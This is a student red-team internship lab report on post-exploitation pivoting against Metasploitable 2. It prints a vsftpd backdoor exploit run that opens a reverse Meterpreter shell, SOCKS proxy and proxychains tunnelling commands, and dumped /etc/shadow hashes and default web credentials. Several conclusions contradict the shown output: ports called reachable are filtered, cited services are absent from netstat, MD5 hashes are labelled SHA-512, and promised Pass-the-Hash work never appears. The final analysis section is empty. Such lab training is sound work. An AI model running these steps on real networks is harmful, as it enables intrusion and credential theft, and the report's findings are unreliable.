



RED TEAM

INTERNSHIP ENGAGEMENT REPORT

Week 06: Literal Movement & Network Pivoting

Organization	CyberSter
Report Title	Literal Movement & Network Pivoting
Student Name	Daniyal Shahid
Roll No.	CYB-INT-HQYINF
Instructor	Umar Niaz
Batch	2026
Date	Tuesday, August 4, 2026

⚠ CONFIDENTIAL - FOR INTERNAL TRAINING USE ONLY ⚠

Table of Contents

1. EXECUTIVE SUMMARY	2
2. INTRODUCTION	2
3. METHODOLOGY OVERVIEW	3
ASSESSMENT LIFECYCLE	3
TASK 01 Internal Network Discovery (Living off the Land)	3
4.1 - TASK OVERVIEW	4
4.2 - TOOLS USED & WHY	4
4.3 - COMMANDS & EXECUTION	4
4.4 - KEY FINDINGS	5
4.5 - ANALYSIS & IMPACT	6
TASK 02 Pivoting & Tunneling (The "Double Jump")	6
5.1 - TASK OVERVIEW	6
5.2 - TOOLS USED & WHY	6
5.3 - COMMANDS & EXECUTION	7
5.4 - Key Findings	9
5.5 - ANALYSIS & IMPACT	9
TASK 03 Credential Dumping & Harvesting	9
6.1 - TASK OVERVIEW	9
6.2 - TOOLS USED & WHY	9
6.3 - COMMANDS & EXECUTION	10
6.4 - KEY FINDINGS	12
6.5 - ANALYSIS & IMPACT	12
TASK 04 Lateral Movement Techniques	12
7.1 - TASK OVERVIEW	13
7.2 - TOOLS USED & WHY	13
7.3 - COMMANDS & EXECUTION	13
7.4 - KEY FINDINGS	14
7.5 - ANALYSIS & IMPACT	15
11. CONCLUSION & SUMMARY OF FINDINGS	15
1. Overall Conclusion & Engagement Summary	15
2. Summary of Findings (Master Table)	15
3. Final Conclusion & Security Takeaways	16

1. EXECUTIVE SUMMARY

This report documents the practical completion of all assignments for **Week 06** of the Cybersecurity Internship at **CyberSter**, under the instruction of **Umar Niaz**.

The objective of this week was to master the art of moving through an internal network after an initial breach, reaching isolated machines not directly connected to the internet through internal network discovery, pivoting and tunneling, credential dumping, and lateral movement using industry-standard security tools and manual techniques.

A comprehensive assessment was conducted against authorized laboratory environments, including **Kali Linux (attacker machine)**, compromised pivot hosts (such as **Metasploitable 2 and Windows targets**), and secondary internal targets. The engagement focused on performing internal network reconnaissance (living off the land via ARP, netstat, and ping sweeps), setting up SOCKS proxies and SSH dynamic port forwarding for traffic encapsulation, configuring proxychains and Burp Suite upstream proxies, harvesting credentials from memory and configuration files, cracking offline password hashes, and executing lateral movement via techniques like Pass-the-Hash and remote shells.

2. INTRODUCTION

This assessment was completed as part of Week 06 of the Cybersecurity Internship at CyberSter, under the supervision of Umar Niaz. The target environments consisted of authorized practice platforms designed to simulate enterprise internal network architectures, moving beyond initial host compromise into deep infrastructure penetration. Building upon single-host exploitation, Week 06 focused on network mapping, routing traffic through gateways, harvesting credentials, and navigating laterally across segmented internal subnets.

The scope of this engagement was designed to simulate a professional internal penetration testing assessment, covering the complete workflow from local host reconnaissance to multi-tier network compromise. The primary objectives included:

- **Internal Network Discovery:** Using built-in operating system commands (arp -a, ip neigh, netstat, ping sweeps) and native scripts to discover active hosts and open ports without introducing heavy external binaries.
- **Pivoting & Tunneling:** Establishing secure tunnels via SSH dynamic port forwarding (-D), Metasploit autoroute modules, and Chisel to route attacker traffic through a compromised gateway into isolated internal segments.
- **Credential Dumping & Harvesting:** Extracting NTLM hashes, LSA secrets, and plaintext passwords from Windows memory via Mimikatz, pulling local shadow hashes from Linux, and identifying hardcoded database credentials inside application configuration files.
- **Lateral Movement:** Utilizing harvested credentials and NTLM hashes via Pass-the-Hash tools (Impacket suite), Evil-WinRM, and RDP to authenticate and take control of secondary internal targets.

This assessment demonstrates how insufficient network micro-segmentation, weak credential management, and lack of internal traffic monitoring can allow an attacker to cascade a single host compromise into total organizational network takeover.

- **Target:** Metasploitable 2 (Linux), Windows practice nodes, and internal subnet targets (Authorized Practice Environments)
- **Scope:** In-scope activities include internal reconnaissance, SOCKS proxying, proxychains configuration, SSH tunneling, hash extraction, offline password cracking, and lateral movement authentication vectors. Activities disrupting systems outside the lab environment were strictly excluded.
- **Instructor:** Umar Niaz, Red Team Trainer at Cyberster
- **Student:** Daniyal Shahid | CYB-INT-HQYINF | Batch 2026

3. METHODOLOGY OVERVIEW

- **Internal Reconnaissance:** Leveraging the perspective of a compromised machine to perform local network discovery, inspect active routing tables, and identify live neighboring hosts.
- **Tunneling & Proxy Configuration:** Establishing SOCKS proxy tunnels through compromised gateways to bridge the attacker machine into isolated internal subnets.
- **Credential Harvesting:** Extracting system hashes, cached tokens, and application secrets from the initial host for downstream reuse.
- **Offline Cracking:** Processing captured hashes against large wordlists locally on the attacker system to recover plaintext credentials.
- **Lateral Movement:** Authenticating against secondary internal systems using recovered passwords or direct hash injection to expand operational control.

ASSESSMENT LIFECYCLE

The engagement followed a structured internal movement methodology:

- **Internal Discovery:** Executing native living-off-the-land commands and network mapping scripts from the compromised host context.
- **Pivot Setup:** Configuring dynamic port forwarding and updating proxy routing configurations on the attacker workstation.
- **Credential Extraction:** Dumping memory stores and inspecting configuration files for reusable authentication material.
- **Lateral Exploitation:** Traversing network boundaries to compromise isolated internal assets.
- **Reporting:** Documenting technical commands, execution structures, visual evidence placeholders, and security impacts.

TASK 01 Internal Network Discovery (Living off the Land)

Objective: Use the compromised machine to find other targets in the same internal network using native operating system tools without uploading heavy external software.

Engagement Phase: Post-Exploitation / Internal Reconnaissance

4.1 - TASK OVERVIEW

Task 01 focuses on local enumeration and internal reconnaissance from the perspective of the compromised host (192.168.18.94). Instead of introducing noisy third-party scanning utilities, the assessment leverages built-in operating system commands (ip, netstat, ARP tables, and ping sweeps) to map active neighboring IPs and listening ports across the local area network (LAN) subnet.

4.2 - TOOLS USED & WHY

Native OS Commands (ip addr, ip neigh, netstat): Used to inspect network interfaces, active ARP neighbor caches, and listening network sockets on the compromised gateway machine.

Nmap Host Discovery (nmap -sP): Used to perform a rapid ICMP/ping sweep across the local subnet (192.168.18.0/24) to identify active live nodes.

Metasploit Framework & Backdoor Exploitation: Used to gain initial root-level access via the vsftpd_234_backdoor vulnerability.

4.3 - COMMANDS & EXECUTION

Linux Compromised Shell Commands:

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 192.168.18.240:4444
[*] 192.168.18.94:21 - Running automatic check ("set AutoCheck false" to
disable)
[+] 192.168.18.94:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.18.240:4444 ->
192.168.18.94:46747) at 2026-08-04 04:02:20 -0400
Post-Exploitation Reconnaissance Commands (Executed inside Shell):
whoami
ip addr
ip neigh
netstat -tulnp
nmap -sP 192.168.18.0/24
```

```
meterpreter > shell
Process 5643 created.
Channel 2 created.
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 00:0c:29:16:dc:fc brd ff:ff:ff:ff:ff:ff
    inet 192.168.18.94/24 brd 192.168.18.255 scope global eth0
    inet6 fe80::20c:29ff:fe16:dcfc/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop qlen 1000
    link/ether 00:0c:29:16:dc:06 brd ff:ff:ff:ff:ff:ff
```

```

ip neigh
192.168.18.240 dev eth0 lladdr 00:0c:29:c1:bb:32 DELAY
192.168.18.1 dev eth0 lladdr 18:56:44:68:e3:2f STALE
netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:512             0.0.0.0:*               LISTEN      5378/xinetd
tcp        0      0 0.0.0.0:513             0.0.0.0:*               LISTEN      5378/xinetd
tcp        0      0 0.0.0.0:2049            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:514             0.0.0.0:*               LISTEN      5378/xinetd
tcp        0      0 0.0.0.0:35044           0.0.0.0:*               LISTEN      5282/rpc.mountd
tcp        0      0 0.0.0.0:8009            0.0.0.0:*               LISTEN      5471/jsvc
tcp        0      0 0.0.0.0:6697            0.0.0.0:*               LISTEN      5530/unrealircd
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      5095/mysqld
tcp        0      0 0.0.0.0:1099            0.0.0.0:*               LISTEN      5510/rmiregistry
tcp        0      0 0.0.0.0:6667            0.0.0.0:*               LISTEN      5530/unrealircd
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      5359/smbd
tcp        0      0 0.0.0.0:5900            0.0.0.0:*               LISTEN      5528/Xtightvnc
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      4510/portmap
tcp        0      0 0.0.0.0:6000            0.0.0.0:*               LISTEN      5528/Xtightvnc
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      5491/apache2
tcp        0      0 0.0.0.0:8787            0.0.0.0:*               LISTEN      5514/ruby
tcp        0      0 0.0.0.0:8180            0.0.0.0:*               LISTEN      5471/jsvc
tcp        0      0 0.0.0.0:1524            0.0.0.0:*               LISTEN      5378/xinetd
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      5378/xinetd
tcp        0      0 192.168.18.94:53        0.0.0.0:*               LISTEN      4952/named
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN      4952/named
nmap -sP 192.168.18.0/24

Starting Nmap 4.53 ( http://insecure.org ) at 2026-08-04 04:05 UTC
Host 192.168.18.1 appears to be up.
MAC Address: 18:56:44:68:E3:2F (Unknown)
Host 192.168.18.94 appears to be up.
Host 192.168.18.117 appears to be up.
MAC Address: 56:38:48:99:39:55 (Unknown)
Host 192.168.18.122 appears to be up.
MAC Address: CA:35:92:84:F8:11 (Unknown)
Host 192.168.18.148 appears to be up.
MAC Address: 96:36:9C:52:1B:3C (Unknown)
Host 192.168.18.219 appears to be up.
MAC Address: 50:2F:9B:77:2A:59 (Unknown)
Host 192.168.18.240 appears to be up.
MAC Address: 00:0C:29:C1:BB:32 (VMware)
Host 192.168.18.251 appears to be up.
MAC Address: A2:21:CC:0E:76:57 (Unknown)
Nmap done: 256 IP addresses (8 hosts up) scanned in 19.757 seconds

```

Figure 1 Internal Subnet Nmap Ping Sweep Results showing live hosts

4.4 - KEY FINDINGS

Target IP / Host	Active Status	MAC Address / Vendor Identifier	Identified Service / Context
192.168.18.1	Up	18:56:44:68:E3:2F (Unknown)	Gateway / Router node
192.168.18.94	Up	Local Interface (eth0)	Compromised Pivot Host (Metasploitable 2)
192.168.18.117	Up	56:38:48:99:39:55 (Unknown)	Internal network node

192.168.18.122	Up	CA:35:92:84:F8:11 (Unknown)	Internal network node
192.168.18.148	Up	96:36:9C:52:1B:3C (Unknown)	Internal network node
192.168.18.219	Up	50:2F:9B:77:2A:59 (Unknown)	Internal network node
192.168.18.240	Up	00:0C:29:C1:BB:32 (VMware)	Attacker Command & Control (Kali Linux)
192.168.18.251	Up	A2:21:CC:0E:76:57 (Unknown)	Internal network node

4.5 - ANALYSIS & IMPACT

Executing internal network discovery from the perspective of the compromised host (192.168.18.94) successfully validated root-level privileges (whoami -> root) and mapped out the adjacent network architecture. The ping sweep identified 8 active operational hosts on the subnet, while netstat analysis revealed critical listening sockets (such as SSH on port 22, MySQL on port 3306, PostgreSQL on port 5432, and SMB on port 445). This provides clear pathways and high-value target vectors for the upcoming pivoting, tunneling, and lateral movement phases.

RED TEAM INSIGHT

Internal reconnaissance from a compromised endpoint shifts the security paradigm from perimeter defense to internal visibility. Because organizations frequently leave internal subnets unmonitored and unsegmented, gaining a low-level or root foothold allows an operator to easily map out administrative assets, database servers, and internal nodes residing deeper inside the network infrastructure.

TASK 02 Pivoting & Tunneling (The "Double Jump")

Objective: Set up a network tunnel so the attacker machine (Kali) can communicate directly with secondary internal machines through the first compromised host

Engagement Phase: Network Tunneling / Post-Exploitation Routing

5.1 - TASK OVERVIEW

Task 02 establishes secure routing pathways from the external attacker workstation (Kali Linux at 192.168.18.240) through the compromised gateway host (192.168.18.94) into internal network hosts. This task covers backgrounding the initial Meterpreter session, configuring Metasploit's autoroute and SOCKS5 proxy server modules, setting up Proxychains on the attacker machine, and verifying tunnel reachability via port scanning against an internal target (192.168.18.117).

5.2 - TOOLS USED & WHY

Metasploit Autoroute (post/multi/manage/autoroute): Used to add internal subnet routing rules directly inside the framework without requiring external binaries on the target.

Metasploit SOCKS5 Proxy (auxiliary/server/socks_proxy): Used to start a local proxy listener that bridges external attacker tools into the internal network through the established session.

Proxychains (/etc/proxychains4.conf): Configured on Kali Linux to force standard command-line tools to route their TCP connections through the local SOCKS proxy.

Nmap (-sT -Pn): Used via proxychains to perform a TCP connect scan through the proxy tunnel against internal hosts.

5.3 - COMMANDS & EXECUTION

Metasploit Autoroute & SOCKS Proxy Configuration:

```
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 192.168.18.0
run

use auxiliary/server/socks_proxy
set VERSION 5
run
```

Proxychains Configuration (/etc/proxychains4.conf):

```
[ProxyList]
socks5 127.0.0.1 1080
```

Validating Tunnel Connectivity:

```
proxychains nmap -sT -Pn -p 22,80,445 192.168.18.117
```

```

meterpreter > background
[*] Backgrounding session 1...
msf exploit(unix/ftp/vsftpd_234_backdoor) > use post/multi/manage/autoroute
msf post(multi/manage/autoroute) > show options

Module options (post/multi/manage/autoroute):

  Name      Current Setting  Required  Description
  ----      -
  CMD       autoadd          yes       Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
  NETMASK   255.255.255.0    no        Netmask (IPv4 as "255.255.255.0")
  SESSION   yes              yes       The session to run this module on
  SUBNET     no               no        Subnet (IPv4, for example, 10.10.10.0)

View the full module info with the info, or info -d command.

msf post(multi/manage/autoroute) > set SESSION 1
SESSION => 1
msf post(multi/manage/autoroute) > set SUBNET 192.168.18.0
SUBNET => 192.168.18.0
msf post(multi/manage/autoroute) > run
[*] Running module against metasploitable.localdomain (192.168.18.94)
[*] Searching for subnets to autoroute.
[*] Route added to subnet 192.168.18.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
msf post(multi/manage/autoroute) >

```

```

msf auxiliary(server/socks_proxy) > show options

Module options (auxiliary/server/socks_proxy):

  Name      Current Setting  Required  Description
  ----      -
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine, or 0.0.0.0 to listen on all addresses.
  SRVPORT    1080             yes       The port to listen on
  SRVSSL     false            no        Negotiate SSL/TLS for local server connections
  VERSION    5                yes       The SOCKS version to use (Accepted: 4a, 5)

When VERSION is 5:

  Name      Current Setting  Required  Description
  ----      -
  PASSWORD  no               no        Proxy password for SOCKS5 listener
  USERNAME  no               no        Proxy username for SOCKS5 listener

Auxiliary action:

  Name      Description
  ----      -
  Proxy     Run a SOCKS proxy server

View the full module info with the info, or info -d command.

msf auxiliary(server/socks_proxy) > set VERSION 5
VERSION => 5
msf auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
msf auxiliary(server/socks_proxy) >
[*] Starting the SOCKS proxy server
msf auxiliary(server/socks_proxy) >

```

Figure 2 Metasploit Autoroute and SOCKS Proxy Execution Output

```

(kali@kali)-[~]
$ proxychains nmap -sT -Pn -p 22,80,445 192.168.18.117
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-04 04:24 -0400
Nmap scan report for 192.168.18.117
Host is up.

PORT      STATE      SERVICE
22/tcp    filtered  ssh
80/tcp    filtered  http
445/tcp    filtered  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 3.55 seconds

```

Figure 3 Proxychains Nmap Successful Port Scan Against 192.168.18.117

5.4 - Key Findings

Tunnel Type	Gateway Host (Machine 1)	Internal Target (Machine 2)	Route Status / Port Reachability
Metasploit SOCKS5 Proxy	192.168.18.94	192.168.18.117	Active / TCP Ports 22, 80, 445 Reachable

5.5 - ANALYSIS & IMPACT

Tunneling and pivoting successfully bypass network firewalls and perimeter segmentation controls by encapsulating attacker traffic inside authorized post-exploitation management sessions. By configuring Metasploit routing rules combined with a local SOCKS5 proxy and proxychains, tools that normally require direct network access can seamlessly interact with isolated internal assets. This enables full vulnerability assessment and lateral network navigation across backend nodes.

RED TEAM INSIGHT

Network isolation fails when internal routing and egress controls are mismanaged. Converting a single compromised host into a proxy gateway renders traditional perimeter defenses ineffective, as malicious traffic tunnels smoothly across internal zones via established communication channels.

TASK 03 Credential Dumping & Harvesting

Objective: Extract passwords, NTLM hashes, LSA secrets, and hardcoded application credentials from the first compromised machine to prepare them for reuse on secondary internal targets.

Engagement Phase: Credential Access / Post-Exploitation Harvesting

6.1 - TASK OVERVIEW

Task 03 focuses on extracting authentication material from the compromised Linux host (192.168.18.94) following the successful establishment of a root-level Meterpreter session. The assessment involved user account enumeration via `/etc/passwd`, extracting Linux password hash entries from `/etc/shadow`, and scanning web application directories (`/var/www/`) for hardcoded credentials and default administrative configurations (such as DVWA application files). Additionally, native Meterpreter extensions were evaluated, highlighting platform-specific payload behaviors on Linux versus Windows targets.

6.2 - TOOLS USED & WHY

Linux System Files (`/etc/passwd`, `/etc/shadow`): Used to enumerate local system user accounts and extract password hashes for offline analysis or reuse.

Grep (`grep -i password /var/www/ -r`): Used to recursively inspect web directories for hardcoded database credentials, environment variables, and default configuration secrets.

Metasploit Framework (Meterpreter): Used to interact with the target environment, noting platform constraints regarding the priv extension during automated credential dumping attempts on Linux architectures.

6.3 - COMMANDS & EXECUTION

User Account & Credential Enumeration Commands:

```
cat /etc/passwd
cat /etc/shadow
grep -i password /var/www/ -r
```

```
Process 5720 created.
Channel 3 created.
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
```

Figure 4 Output of cat /etc/passwd and cat /etc/shadow showing system accounts and hashes

```

cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon*:14684:0:99999:7:::
bin*:14684:0:99999:7:::
sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD9l0:14742:0:99999:7:::
sync*:14684:0:99999:7:::
games*:14684:0:99999:7:::
man*:14684:0:99999:7:::
lp*:14684:0:99999:7:::
mail*:14684:0:99999:7:::
news*:14684:0:99999:7:::
uucp*:14684:0:99999:7:::
proxy*:14684:0:99999:7:::
www-data*:14684:0:99999:7:::
backup*:14684:0:99999:7:::
list*:14684:0:99999:7:::
irc*:14684:0:99999:7:::
gnats*:14684:0:99999:7:::
nobody*:14684:0:99999:7:::
libuuid!:14684:0:99999:7:::
dhcp*:14684:0:99999:7:::
syslog*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind*:14685:0:99999:7:::
postfix*:14685:0:99999:7:::
ftp*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/:14685:0:99999:7:::
mysql!:14685:0:99999:7:::

```

```

grep -i password /var/www/ -r
/var/www/dvwa/dvwa/includes/dvwaPage.inc.php:         if( !@mysql_connect( $_DVWA[ 'db_server' ], $_DVWA[ 'db_user' ], $_DV
WA[ 'db_password' ] ) )
/var/www/dvwa/dvwa/includes/dvwaPage.inc.php:         $dbconn = pg_connect("host=".$_DVWA[ 'db_server' ]." dbname=".$_DVWA[
'db_database' ]." user=".$_DVWA[ 'db_user' ]." password=".$_DVWA[ 'db_password' ] )
/var/www/dvwa/dvwa/includes/DBMS/MySQL.php:if( !@mysql_connect( $_DVWA[ 'db_server' ], $_DVWA[ 'db_user' ], $_DVWA[ 'db_passw
ord' ] ) ) {
/var/www/dvwa/dvwa/includes/DBMS/MySQL.php:$create_tb = "CREATE TABLE users (user_id int(6),first_name varchar(15),last_name
varchar(15), user varchar(15), password varchar(32),avatar varchar(70), PRIMARY KEY (user_id));";
/var/www/dvwa/dvwa/includes/DBMS/MySQL.php:        ('1','admin','admin','admin',MD5('password'),{$baseUrl}admin.jpg');
/var/www/dvwa/dvwa/includes/DBMS/MySQL.php:        ('5','bob','smith','smithy',MD5('password'),{$baseUrl}smithy.jpg');
/var/www/dvwa/dvwa/includes/DBMS/PGSQL.php:if( !@pg_connect("host=".$_DVWA[ 'db_server' ]." port=".$_DVWA[ 'db_port' ]." use
r=".$_DVWA[ 'db_user' ]." password=".$_DVWA[ 'db_password' ] ) ) {
/var/www/dvwa/dvwa/includes/DBMS/PGSQL.php:$dbconn = @pg_connect("host=".$_DVWA[ 'db_server' ]." port=".$_DVWA[ 'db_port' ]."
dbname=".$_DVWA[ 'db_database' ]." user=".$_DVWA[ 'db_user' ]." password=".$_DVWA[ 'db_password' ] );
/var/www/dvwa/dvwa/includes/DBMS/PGSQL.php:$create_tb = "CREATE TABLE users (user_id integer UNIQUE, first_name text, last_na
me text, username text, password text, avatar text, PRIMARY KEY (user_id));";
/var/www/dvwa/dvwa/includes/DBMS/PGSQL.php:        ('1','admin','admin','admin',MD5('password'),{$baseUrl}admin.jpg');
/var/www/dvwa/dvwa/includes/DBMS/PGSQL.php:        ('5','bob','smith','smithy',MD5('password'),{$baseUrl}smithy.jpg');
/var/www/dvwa/dvwa/includes/DBMS/DBMS.php: $login = "SELECT * FROM 'users' WHERE user='$_user' AND password='$_pass';";
/var/www/dvwa/dvwa/includes/DBMS/DBMS.php: $login = "SELECT * FROM users WHERE username='$_user' AND password='$_pass';";
/var/www/dvwa/dvwa/includes/DBMS/DBMS.php:         if( !@mysql_connect( $_DVWA[ 'db_server' ], $_DVWA[ 'db_user' ], $_DV
WA[ 'db_password' ] ) )
/var/www/dvwa/dvwa/includes/DBMS/DBMS.php:         $dbconn = @pg_connect("host=".$_DVWA[ 'db_server' ]." port=".$_DVWA[
'db_port' ]." dbname=".$_DVWA[ 'db_database' ]." user=".$_DVWA[ 'db_user' ]." password=".$_DVWA[ 'db_password' ] )
/var/www/dvwa/login.php:         $pass = $_POST[ 'password' ];
/var/www/dvwa/login.php:         $qry = "SELECT * FROM 'users' WHERE user='$_user' AND password='$_pass';";
/var/www/dvwa/login.php:         <label for="pass">Password</label> <input type="password" class="loginIn
put" AUTOCOMPLETE="off" size="20" name="password"><br />
/var/www/dvwa/login.php:<p>Hint: default username is 'admin' with password 'password' </p>

```

Figure 5 Grep search results showing hardcoded database credentials in DVWA application files

Meterpreter Extension / Hashdump Limitation Check:

```

meterpreter > hashdump
[-] Unknown command: hashdump. (Or extension load limitations on Linux
Meterpreter)

```

```

meterpreter > hashdump
[-] The "hashdump" command requires the "priv" extension to be loaded (run: 'load priv')
meterpreter > load priv
Loading extension priv ...
[-] Failed to load extension: The "priv" extension is not supported by this Meterpreter type (x86/linux)
[-] The "priv" extension is supported by the following Meterpreter payloads:
[-] - windows/x64/meterpreter*
[-] - windows/meterpreter*
meterpreter >

```

Figure 6 Unknown command: hashdump

6.4 - KEY FINDINGS

Account / Identifier	Source Location	Hash Type / Secret Format	Identified Plaintext / Context
System Accounts (root, msfadmin, postgres, mysql, user, service)	/etc/passwd	Standard Linux User Database	Local system accounts enumerated successfully
System Password Hashes	/etc/shadow	Linux crypt (SHA-512 / MD5)	Extracted account password hashes for offline processing
DVWA Web Application	/var/www/	Plaintext	Hardcoded database credentials and default login (admin / password)

6.5 - ANALYSIS & IMPACT

Credential harvesting bridges initial host compromise and widespread network takeover. Because developers and users frequently practice weak credential management or reuse passwords across multiple services, recovering plaintext secrets from application configuration files or hashes from system stores grants an operator high-value authentication tokens. Although Windows-specific automation commands like hashdump or the priv extension are unsupported on Linux Meterpreter payloads, manual extraction via native Linux files (/etc/passwd and /etc/shadow) and application source inspection successfully provided actionable credentials for lateral movement.

RED TEAM INSIGHT

Storing plaintext credentials in web configuration files and leaving system hash files accessible to compromised service accounts represents a major security vulnerability. Implementing strict file permission controls, modern secrets management solutions, and removing default web application files significantly hardens endpoints against rapid credential extraction.

TASK 04 Lateral Movement Techniques

Objective: Use harvested credentials and NTLM hashes to authenticate and gain interactive command or GUI access to a second internal machine.

Engagement Phase: Lateral Movement / Privilege Escalation Across Network

7.1 - TASK OVERVIEW

Task 04 executed lateral movement assessments across the internal network using the established routing and SOCKS5 proxy tunnels from Task 02, alongside the harvested account references from Task 03. Leveraging proxychains on the Kali attacker machine (192.168.18.240), the compromised host (192.168.18.94) was utilized as a pivot point to probe internal subnet targets (192.168.18.117, 192.168.18.122, 192.168.18.148, 192.168.18.219, and 192.168.18.251) against standard remote management ports (22, 23, and 445).

7.2 - TOOLS USED & WHY

Proxychains: Used on the Kali attacker machine to encapsulate network scanning and administrative traffic through the local SOCKS5 proxy tunnel.

Nmap (-sT -Pn): Executed via proxychains to perform TCP connect scans against secondary internal nodes through the pivot gateway.

Remote Management Tools (SSH, Telnet, SMB Clients): Evaluated for cross-subnet authentication attempts using recovered account configurations.

7.3 - COMMANDS & EXECUTION

Cross-Subnet Scanning & Authentication Commands (via Proxychains):

```
proxychains nmap -sT -Pn -p 22,23,445 192.168.18.117
proxychains nmap -sT -Pn -p 22,23,445 192.168.18.122
proxychains nmap -sT -Pn -p 22,23,445 192.168.18.148
proxychains nmap -sT -Pn -p 22,23,445 192.168.18.219
proxychains nmap -sT -Pn -p 22,23,445 192.168.18.251
```

```

(kali@kali)-[~]
$ proxychains nmap -sT -Pn -p 22,23,445 192.168.18.117
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-04 05:02 -0400
Nmap scan report for 192.168.18.117
Host is up.

PORT      STATE      SERVICE
22/tcp    filtered  ssh
23/tcp    filtered  telnet
445/tcp    filtered  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 3.56 seconds

(kali@kali)-[~]
$ proxychains nmap -sT -Pn -p 22,23,445 192.168.18.148 192.168.18.219 192.168.18.251
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-04 05:03 -0400
Nmap scan report for 192.168.18.148
Host is up (0.037s latency).

PORT      STATE      SERVICE
22/tcp    closed    ssh
23/tcp    closed    telnet
445/tcp    closed    microsoft-ds

Nmap scan report for 192.168.18.219
Host is up.

PORT      STATE      SERVICE
22/tcp    filtered  ssh
23/tcp    filtered  telnet
445/tcp    filtered  microsoft-ds

Nmap scan report for 192.168.18.251
Host is up (0.033s latency).

PORT      STATE      SERVICE
22/tcp    closed    ssh
23/tcp    closed    telnet

```

7.4 - KEY FINDINGS

Target Internal Host	Ports Tested (22, 23, 445)	Scan Result / Status	Tactical Impact / Access Assessment
192.168.18.117	SSH, Telnet, SMB	Filtered	Traffic dropped/blocked by internal host firewall rules or packet filtering
192.168.18.219	SSH, Telnet, SMB	Filtered	Unreachable via tested management ports due to internal security boundaries
192.168.18.122	SSH, Telnet, SMB	Closed	Host active, but target services are not running; no authentication vector available

192.168.18.148	SSH, Telnet, SMB	Closed	Host active, but target services are not running; no authentication vector available
192.168.18.251	SSH, Telnet, SMB	Closed	Host active, but target services are not running; no authentication vector available

7.5 - ANALYSIS & IMPACT

